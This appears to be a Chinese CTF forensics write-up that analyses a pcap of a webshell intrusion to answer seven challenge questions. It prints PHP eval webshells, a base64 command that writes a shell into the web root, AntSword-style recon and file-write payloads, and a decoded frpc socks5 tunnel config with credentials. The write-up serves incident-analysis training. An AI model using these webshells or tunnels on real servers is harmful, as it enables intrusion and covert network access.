当前位置: 首页 > news >正文

陇剑杯 流量分析 webshell CTF writeup

陇剑杯 流量分析

链接:https://pan.baidu.com/s/1KSSXOVNPC5hu_Mf60uKM2A?pwd=haek 
提取码:haek目录结构
LearnCTF
├───LogAnalize
│   ├───linux简单日志分析
│   │       linux-log_2.zip
│   │
│   ├───misc日志分析
│   │       access.log
│   │
│   ├───misc简单日志分析
│   │       app.log
│   │
│   ├───sql注入分析
│   │       SQL.zip
│   │
│   └───windows日志分析
│           security-testlog_2.zip
│
└───TrafficAnalize├───ios│       ios.zip│└───webshellhack.pcap本篇内容题目在 TrafficAnalize -> webshell 中

0x01webshell

webshell1

黑客攻击了我的网站,不过我记录了之前发生的流量,请帮忙分析流量回答webshell1-7

webshell1: 黑客登录系统使用的密码是_____________。

whireshark打开.pcap文件
查询语句

http.request.method == "POST"

登录业务的用户名和密码大多使用post方法传递

在这里插入图片描述
不难看出用户名和密码

webshell2

webshell-2: 黑客修改了一个日志文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)

/var/www/html/data/Runtime/Logs/Home/21_08_07.log
看两个点

  1. 写马
  2. linux apache 的默认路径

No.306
写了一个马

Form item: "tpl" = "<?php eval($_REQUEST[a]);phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>"

No.315又写了个ma

Form item: "tpl" = "<?php eval($_REQUEST[aaa]);phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>"

从RCE看ifconfig, pwd来看能确定受害机为Linux

No.329

Form item: "aaa" = "system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d');"

一眼base64,看看是啥东西

<?php eval($_REQUEST[aaa]);?>

是个小马

No.332

Form item: "tpl" = "data/Runtime/Logs/Home/21_08_07.log"
Form item: "aaa" = "system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');"

在这里插入图片描述

熟悉linux命令操作就能看出黑客修改了文件,通过1.php将马写入.log文件,这个修改的log的路径是个相对的路径,题目需要提交绝对路径
linux中apache的默认路径是/var/www/html拼接相对路径data/Runtime/Logs/Home/21_08_07.log即可

webshell3

webshell-3: 黑客获取webshell之后,权限是______?

看看黑客是什么权限
黑客使用whoami查看自己的权限
在这里插入图片描述
flag为www-data

webshell4

webshell-4: 黑客写入的webshell文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)
在这里插入图片描述
在这里插入图片描述

马在哪?1.php,黑客写向1.php写入马之后用webshell进行RCE当然要向1.php发送请求,因为1.php有马

webshell5

webshell-5: 黑客上传的代理工具客户端名字是_____________。(如有字母请全部使用小写)
No.332在1.php中写了马
No.347之后有一长段TCP加密数据包

所以No.332 到 No.346是考虑的重点
这一段数据包中有请求和响应

其中POST包中的aaa 键有代码
收集5段Php代码,看看写的是什么

1

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {return $out;
}
;
function asoutput() {$output=ob_get_contents();ob_end_clean();echo "bc"."0f2";echo @asenc($output);echo "f797e"."322e0";
}
ob_start();
try {$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/") {foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";} else {$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;
}
catch(Exception $e) {echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

2

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {return $out;
}
;
function asoutput() {$output=ob_get_contents();ob_end_clean();echo "5a3"."dc6";echo @asenc($output);echo "12f"."968a";
}
ob_start();
try {$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/") {foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";} else {$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;
}
catch(Exception $e) {echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

3

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {return $out;
}
;
function asoutput() {$output=ob_get_contents();ob_end_clean();echo "43d874"."d82ece";echo @asenc($output);echo "2cd"."697";
}
ob_start();
try {$D=base64_decode(substr($_POST["j68071301598f"],2));$F=@opendir($D);if($F==NULL) {echo("ERROR:// Path Not Found Or No Permission!");} else {$M=NULL;$L=NULL;while($N=@readdir($F)) {$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="	".$T."	".@filesize($P)."	".$E."
";if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R;}echo $M.$L;@closedir($F);};
}
catch(Exception $e) {echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

4

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {return $out;
}
;
function asoutput() {$output=ob_get_contents();ob_end_clean();echo "28"."f72";echo @asenc($output);echo "f486"."11f4";
}
ob_start();
try {$f=base64_decode(substr($_POST["j68071301598f"],2));$c=$_POST["xa5d606e67883a"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for ($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");;
}
catch(Exception $e) {echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

5

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {return $out;
}
;
function asoutput() {$output=ob_get_contents();ob_end_clean();echo "693"."d434";echo @asenc($output);echo "a3"."7cb";
}
ob_start();
try {$D=base64_decode(substr($_POST["j68071301598f"],2));$F=@opendir($D);if($F==NULL) {echo("ERROR:// Path Not Found Or No Permission!");} else {$M=NULL;$L=NULL;while($N=@readdir($F)) {$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="	".$T."	".@filesize($P)."	".$E."
";if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R;}echo $M.$L;@closedir($F);};
}
catch(Exception $e) {echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

代码中以POST方法接收了字段j68071301598f的值,对值的前两位去掉再base64解码

数据包中恰好有几个j68071301598f的值,用base64解码看看写的是什么

base64加密值有两个


hML3Zhci93d3cvaHRtbC8=FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ==

将原始值前两位去掉,解出

/var/www/html/frpc.ini

.ini文件是个配置文件。类似的,php中有.user.ini作为配置文件,利用.user.ini也是ctf中的考点
frpc看上去比较陌生,搜一下,是个内网穿透工具,它会不会是黑客上传的代理工具客户端呢?
是的,它就是代理工具客户端

比较奇怪的是No.346是加密TCP前的最后一个HTTP响应包
响应的html内容就有frpc.ini,如果对frpc比较熟悉应当能直接看出吧
在这里插入图片描述

找到的数据包的内容是(copy不完整)

Frame 343: 1681 bytes on wire (13448 bits), 1681 bytes captured (13448 bits)
Null/Loopback
Internet Protocol Version 4, Src: 192.168.2.197, Dst: 192.168.2.197
Transmission Control Protocol, Src Port: 61922, Dst Port: 8081, Seq: 1, Ack: 1, Len: 1625
Hypertext Transfer Protocol
HTML Form URL Encoded: application/x-www-form-urlencoded[truncated]Form item: "aaa" = "@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "28"."f72";echo @asenc($output);echo "f486"."11f4";}ob_Key: aaaValue [truncated]: @ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "28"."f72";echo @asenc($output);echo "f486"."11f4";}ob_start();try{$Form item: "j68071301598f" = "FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ=="Key: j68071301598fValue: FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ==[truncated]Form item: "xa5d606e67883a" = "5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355DKey: xa5d606e67883aValue [truncated]: 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A

webshell6

webshell-6: 黑客代理工具的回连服务端IP是_______

上面得到了有关frpc.ini的数据包,在这个包中的一个POST参数(copy不完整)

 [truncated]Form item: "xa5d606e67883a" = "5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355DKey: xa5d606e67883aValue [truncated]: 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A

代码审计,发现代码中以POST接收了xa5d606e67883a的值

数据包中 xa5d606e67883a的值看起来是加密的,而且是变长加密,考虑加密方式是askii或hex(16进制)

变长加密还有URL编码和base64编码,观察它的特征,没有%不考虑URL编码,没有大写字母或等于号或最后以==结尾,不考虑base64编码

不考虑md5

不考虑unicode 因为没有/u或/x

在这里插入图片描述


5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A

解出

[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

一眼丁真

ip 是 192.168.239.123

webshell 7

webshell-7: 黑客的socks5的连接账号、密码是______。(中间使用#号隔开,例如admin#passwd):

上一题解出来了
一眼丁真
0HDFt16cLQJ#JTN276Gp

参考

https://www.cnblogs.com/GKLBB/p/15303391.html
分析黑客到底如何getshell,很牛

https://www.cnblogs.com/leo1017/p/17949472
包含流量分析和日志分析,很牛

https://www.cnblogs.com/summer14/p/17261624.html
陇剑杯wp相关,很牛

https://www.cnblogs.com/lcxblogs/p/15378172.html
陇剑杯wp相关,很牛

相关文章:

陇剑杯 流量分析 webshell CTF writeup

陇剑杯 流量分析 链接&#xff1a;https://pan.baidu.com/s/1KSSXOVNPC5hu_Mf60uKM2A?pwdhaek 提取码&#xff1a;haek目录结构 LearnCTF ├───LogAnalize │ ├───linux简单日志分析 │ │ linux-log_2.zip │ │ │ ├───misc日志分析 │ │ …...

【测试开发学习历程】python常用的模块(下)

目录 8、MySQL数据库的操作-pymysql 8.1 连接并操作数据库 9、ini文件的操作-configparser 9.1 模块-configparser 9.2 读取ini文件中的内容 9.3 获取指定建的值 10 json文件操作-json 10.1 json文件的格式或者json数据的格式 10.2 json.load/json.loads 10.3 json.du…...

GCDAsynSocket之TCP简析

GCDAsynSocket是一个开源的基于GCD的异步的socket库。它支持IPV4和IPV6地址&#xff0c;TLS/SSL协议。同时它支持iOS端和Mac端。本篇主要介绍一下GCDAsynSocket中的TCP用法和实现。 首先通过下面这个方法初始化一个GCDAsynSocket对象。 - (id)initWithDelegate:(id<GCDAsyn…...

大型网站系统架构演化实例_1.单体架构和垂直架构

大型网站的技术挑战主要来自于庞大的用户&#xff0c;高并发的访问和海量的数据&#xff0c;任何简单的业务一旦需要处理数以P计的数据和面对数以亿计的用户&#xff0c;问题就会变得很棘手。通常大型网站架构主要解决这类问题。 1.第一阶段&#xff1a;单体架构 大型网站都是…...

2024蓝桥杯——宝石问题

先展示题目 声明 以下代码仅是我的个人看法&#xff0c;在自己考试过程中的优化版&#xff0c;本人考试就踩了很多坑&#xff0c;我会—一列举出来。代码可能很多&#xff0c;但是总体时间复杂度不高只有0(N) 函数里面的动态数组我没有写开辟判断和free&#xff0c;这里我忽略…...

three.js加载模型报错,Error: THREE.GLTFLoader: No DRACOLoader instance provided.

three.js加载模型报错&#xff0c;Error: THREE.GLTFLoader: No DRACOLoader instance provided. 原因&#xff1a;该模型是压缩过的&#xff0c;需要 DRACOLoader 我们先找到该文件夹 node_modules three examples jsm libs draco 将draco拷贝到public下 import { GLTFLoad…...

Spring VS Spring Boot

目录 定义 Spring Spring Boot 区别 优劣对比 Spring Spring的优势 Spring的劣势 Spring Boot Spring Boot的优势 Spring Boot的劣势 适用场景 Spring的适用场景 Spring Boot的适用场景 初学者如何选择学习 定义 Spring Spring是一个轻量级的、开源的Java开发…...

Linux入门(Linux介绍,安装,常用命令,防火墙的设置,注意事项)

目录 一、Linux介绍 1. Linux简介 1 什么是Linux 2 Linux的应用 3 为什么要学习Linux 2. Linux分类 1 按照市场需求分 2 按照原生程度分 3.小结 二、Linux安装 1. vmware介绍 2. 安装VMWare 3. 安装CentOS 4. 登录查看ip 5. 远程连接工具 1 使用FinalShell连接L…...

vue2创建项目的两种方式,配置路由vue-router,引入element-ui

提示&#xff1a;vue2依赖node版本8.0以上 文章目录 前言一、创建项目基于vue-cli二、创建项目基于vue/cli三、对吧两种创建方式四、安装Element ui并引入五、配置路由跳转四、效果五、参考文档总结 前言 使用vue/cli脚手架vue create创建 使用vue-cli脚手架vue init webpack创…...

MySql 表中的id突然变很大,如何给id重新排序

目录 一、场景 二、解决方法 一、场景 我们在开发过程中&#xff0c;难免遇到id突然增大的情况。 由于id突然增大很多&#xff0c;我们重新增加数据时候id会默认加1 那么如何让id 重新从1按顺序排序呢 二、解决方法 点击编辑表&#xff0c;然后新建一个字段id2&#xff0c;将…...

leetcode练习——哈希表

目录 3. 无重复字符的最长子串 题目描述 解题思路 代码实现 349. 两个数组的交集 题目描述 解题思路 代码实现 ​​​​454. 四数相加 II 题目描述 解题思路 代码实现 242. 有效的字母异位词 题目描述 解题思路 代码实现 438. 找到字符串中所有字母异位词 题目…...

配置交换机 SSH 管理和端口安全

实验1:配置交换机基本安全和 SSH管理 1、实验目的 通过本实验可以掌握&#xff1a; 交换机基本安全配置。SSH 的工作原理和 SSH服务端和客户端的配置。 2、实验拓扑 交换机基本安全和 SSH管理实验拓扑如图所示。 3、实验步骤 &#xff08;1&#xff09;配置交换机S1 Swit…...

基于SpringBoot+Vue的装饰工程管理系统(源码+文档+包运行)

一.系统概述 如今社会上各行各业&#xff0c;都喜欢用自己行业的专属软件工作&#xff0c;互联网发展到这个时候&#xff0c;人们已经发现离不开了互联网。新技术的产生&#xff0c;往往能解决一些老技术的弊端问题。因为传统装饰工程项目信息管理难度大&#xff0c;容错率低&a…...

vue3中axios添加请求和响应的拦截器

本章主要是以记录为主。 在src创建一个utils文件夹&#xff0c;并在utils中创建一个request.js文件。 // 引入axios import axios from "axios"; // import qs from "qs"; // 创建axios实例 const instance axios.create(); // 请求拦截器 instance.int…...

<router-link>出现Error: No match for {“name“:“home“,“params“:{}}

在将<a></a>标签换到<router-link></router-link>的时候出现No match for {"name":"home","params":{}}这样的错误&#xff0c;其中格式并无错误&#xff0c; <router-link class"navbar-brand active" …...

prompt 工程整理(未完、持续更新)

工作期间会将阅读的论文、一些个人的理解整理到个人的文档中&#xff0c;久而久之就积累了不少“个人”能够看懂的脉络和提纲&#xff0c;于是近几日准备将这部分略显杂乱的内容重新进行梳理。论文部分以我个人的理解对其做了一些分类&#xff0c;并附上一些简短的理解&#xf…...

兼容性测试用例

备注:本文为博主原创文章,未经博主允许禁止转载。如有问题,欢迎指正。 个人笔记(整理不易,有帮助,收藏+点赞+评论,爱你们!!!你的支持是我写作的动力) 笔记目录:学习笔记目录_pytest和unittest、airtest_weixin_42717928的博客-CSDN博客 个人随笔:工作总结随笔_8、…...

阿里云4核8G云服务器价格多少钱?700元1年

阿里云4核8G云服务器价格多少钱&#xff1f;700元1年。阿里云4核8G服务器租用优惠价格700元1年&#xff0c;配置为ECS通用算力型u1实例&#xff08;ecs.u1-c1m2.xlarge&#xff09;4核8G配置、1M到3M带宽可选、ESSD Entry系统盘20G到40G可选&#xff0c;CPU采用Intel(R) Xeon(R…...

ts 中的keyof 和typeof

作用&#xff1a; keyof&#xff1a;用于获取对象类型的所有键的联合类型。typeof&#xff1a;用于获取变量或表达式的类型。 返回类型&#xff1a; keyof&#xff1a;返回的是一个对象类型的所有键组成的联合类型。typeof&#xff1a;返回的是一个值的类型。 使用场景&#xf…...

每日一题:买卖股票的最佳时机II

给你一个整数数组 prices &#xff0c;其中 prices[i] 表示某支股票第 i 天的价格。 在每一天&#xff0c;你可以决定是否购买和/或出售股票。你在任何时候 最多 只能持有 一股 股票。你也可以先购买&#xff0c;然后在 同一天 出售。 返回 你能获得的 最大 利润 。 示例 1&a…...

nginx安装在linux上

nginx主要用于反向代理和负载均衡&#xff0c;现在简单的说说如何在linux操作系统上安装nginx 第一步&#xff1a;安装依赖 yum install -y gcc-c pcre pcre-devel zlib zlib-devel openssl openssl-devel 第二步&#xff1a; 下载nginx&#xff0c;访问官网&#xff0c;ngin…...

ENSP-旁挂式AC

提醒&#xff1a;如果AC不能成功上线AP&#xff0c;一般问题不会出在AC上&#xff0c;优先关注AC-AP线路上的二层或三层组网的三层交换机 拓扑图 管理VLAN&#xff1a;99 | 业务VLAN&#xff1a;100 注意点&#xff1a; 1.连接AP的接口需要打上pvid为管理vlan的标签 2.AC和…...

如何获取手机root权限?

获取手机的 root 权限通常是指在 Android 设备上获取超级用户权限&#xff0c;这样用户就可以访问和修改系统文件、安装定制的 ROM、管理应用权限等。然而&#xff0c;需要注意的是&#xff0c;获取 root 权限可能会导致手机失去保修、安全性降低以及使系统变得不稳定。在获取 …...

2023年全国青少年信息素养大赛(Python)海南赛区复赛真题

2023年全国青少年信息素养大赛(Python)海南赛区复赛真题第1题,整数加8 题目描述: 输入一个整数,输出这个整数加8 的结果。 输入描述: 输入一行一个正整数。 输出描述: 输出求和的结果。 样例1: 输入: 5 输出: 13 x= int(input()) print(x+8) 第2题,哼哈二将 题目描…...

node.js服务器动态资源处理

一、node.js服务器动态资源处理与静态资源处理的区别&#xff1f; 静态与动态服务器主要区别于是否读取数据库&#xff0c;若然在数据库中的资料处理中将数据转换成可取用格式的结构&#xff0c;也就是说把对象转化为可传输的字节序列过程称为序列化&#xff0c;反之则为反序列…...

DNS是TCP还是UDP

既使用TCP也使用UDP 1. 域名解析时用UDP 在大多数情况下&#xff0c;DNS请求使用UDP协议&#xff0c;因为UDP协议可以提供较高的效率和安全性&#xff0c;尤其是在查询的响应大小较小&#xff08;通常不超过512字节&#xff09;时。非可靠连接&#xff0c;因为传输的数据量小…...

Redis魔法:解锁高性能缓存的神奇之门(二)

本系列文章简介&#xff1a; 在现代的软件开发中&#xff0c;高性能和高可用性是每个开发者都追求的目标。然而&#xff0c;随着数据量和访问频率的不断增长&#xff0c;传统的数据库存储方案往往难以应对这种挑战。这就引出了一个问题&#xff1a;如何在保证数据的高效访问和持…...

ROS2 仿真学习02 Gazebo导入官方示例模型

1.下载模型 git clone https://gitee.com/bingda-robot/gazebo_models.git将gazebo_models拖到到.gazebo当中&#xff08;如果没看到.gazebo文件请按住CTRLh&#xff09; 2.添加模型到gazebo的Insert 这就将官方示例的模型都导入到Gazebo 了 随便试试一个模型...

echarts图表按需导入

引入核心包引入图表类型引入使用组件引入渲染器注册所有引入 在项目中引入 Apache ECharts // 引入 echarts 核心模块&#xff0c;核心模块提供了 echarts 使用必须要的接口。 import * as echarts from echarts/core; // 引入柱状图图表&#xff0c;图表后缀都为 Chart impo…...

蓝桥杯(基础题)

试题 C: 好数 时间限制 : 1.0s 内存限制: 256.0MB 本题总分&#xff1a;10 分 【问题描述】 一个整数如果按从低位到高位的顺序&#xff0c;奇数位&#xff08;个位、百位、万位 &#xff09;上 的数字是奇数&#xff0c;偶数位&#xff08;十位、千位、十万位 &…...

wordpress divi布局/营销型网站建设费用

早先我写了一篇《函数式接口》&#xff0c;探讨了Java8中函数式接口的用法。如果你正在浏览Java8的API&#xff0c;你会发现java.util.function中 Function, Supplier, Consumer, Predicate和其他函数式接口广泛用在支持lambda表达式的API中。这些接口有一个抽象方法&#xff0…...

做电脑网站与手机上的一样吗/成人技能培训机构

2019独角兽企业重金招聘Python工程师标准>>> splice() 在MDN上的解释时该方法通过删除已存在的元素或添加新的元素来改变数组的内容&#xff0c;操作之后原数组会发生改变&#xff0c;splice()返回一个有删除元素组成的数组&#xff1b; Syntax&#xff1a; array.s…...

英语做课后作业的网站/活动推广方案怎么写

八 检验标准 1 土方路基(路床)质量检验应符合下列规定&#xff1a;主 控 项 目(1) 路基压实度应符合下表的规定。检查数量&#xff1a;每1000m2、每压实层抽检3点。 检验方法&#xff1a;环刀法、灌砂法或灌水法。 (2) 弯沉值&#xff0c;不应大于设计规定。 检查数量…...

https的网站能做301重定向么/营销神器

1、服务器硬件详解 略 2、PAID磁盘阵列详解 2.1、RAID 0 所需块数&#xff1a;>2 发生故障&#xff1a;>1块就会坏 性能&#xff1a;读写性能提升&#xff0c;缺乏可靠性&#xff0c;没有数据冗余&#xff0c;具有很高的数据传输效率 简述&#xff1a;把多块硬盘设…...

网站制作小常识/百度云网盘资源链接

前言程序员平时和mysql打交道一定不少&#xff0c;可以说每天都有接触到&#xff0c;但是mysql一张表到底能存多少数据呢&#xff1f;计算根据是什么呢&#xff1f;接下来咱们逐一探讨知识准备数据页在操作系统中&#xff0c;我们知道为了跟磁盘交互&#xff0c;内存也是分页的…...

梁山网站建设哪家好/北京网站seo优化推广

缓存在我们的日常开发中随处可见&#xff0c;理解缓存的概念&#xff0c;本质就是就近处理&#xff0c;比如很多热点数据&#xff0c;访问量很多&#xff0c;我们需要使用&#xff0c;就可以把它 缓存起来&#xff0c;然后下次访问就不用再去数据库的去查询了&#xff0c;而是直…...